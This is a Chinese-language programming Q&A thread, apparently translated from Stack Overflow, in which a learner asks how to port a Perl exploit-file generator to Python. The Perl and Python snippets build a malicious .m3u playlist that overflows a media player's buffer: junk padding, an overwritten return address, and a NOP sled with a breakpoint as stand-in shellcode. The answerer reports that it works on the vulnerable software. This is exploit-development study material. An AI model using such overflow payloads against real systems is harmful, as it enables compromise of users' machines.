我最近一直在做一些漏洞开发,为一个培训课程做准备,但我在教程中遇到了一个问题。出于偏好,我一直在遵循我能找到的所有教程,使用Python,而不是教程所使用的语言。我试图对所有东西进行交叉编码,但我不知道如何对Perl的Pack()函数进行交叉编码。
TL;DR:我正在尝试将其转换为python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";我已经找到了Python的struct.pack()函数,但是当我使用
Fuzzed.write(struct.pack('V', 0x773D10A4)),它会停止程序并不工作。我做错了什么?
这是我的全部源代码
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)发布于 2020-08-06 22:57:19
我正在学习相同/相似的教程。对我来说完全有效的是Nick的答案。我还测试了在易受攻击的软件上创建的m3u文件。虽然我的弹性公网is地址不同,但它真的可以工作。我在linux机器上使用python 3.7.5运行它。修改后的代码如下:
import struct
Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)我们需要将所有内容转换为byte对象的原因是,pack函数返回一个byte对象,而我们不能将其与字符串连接起来。同样,str(struct.pack('
string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77' https://stackoverflow.com/questions/6389576
复制相似问题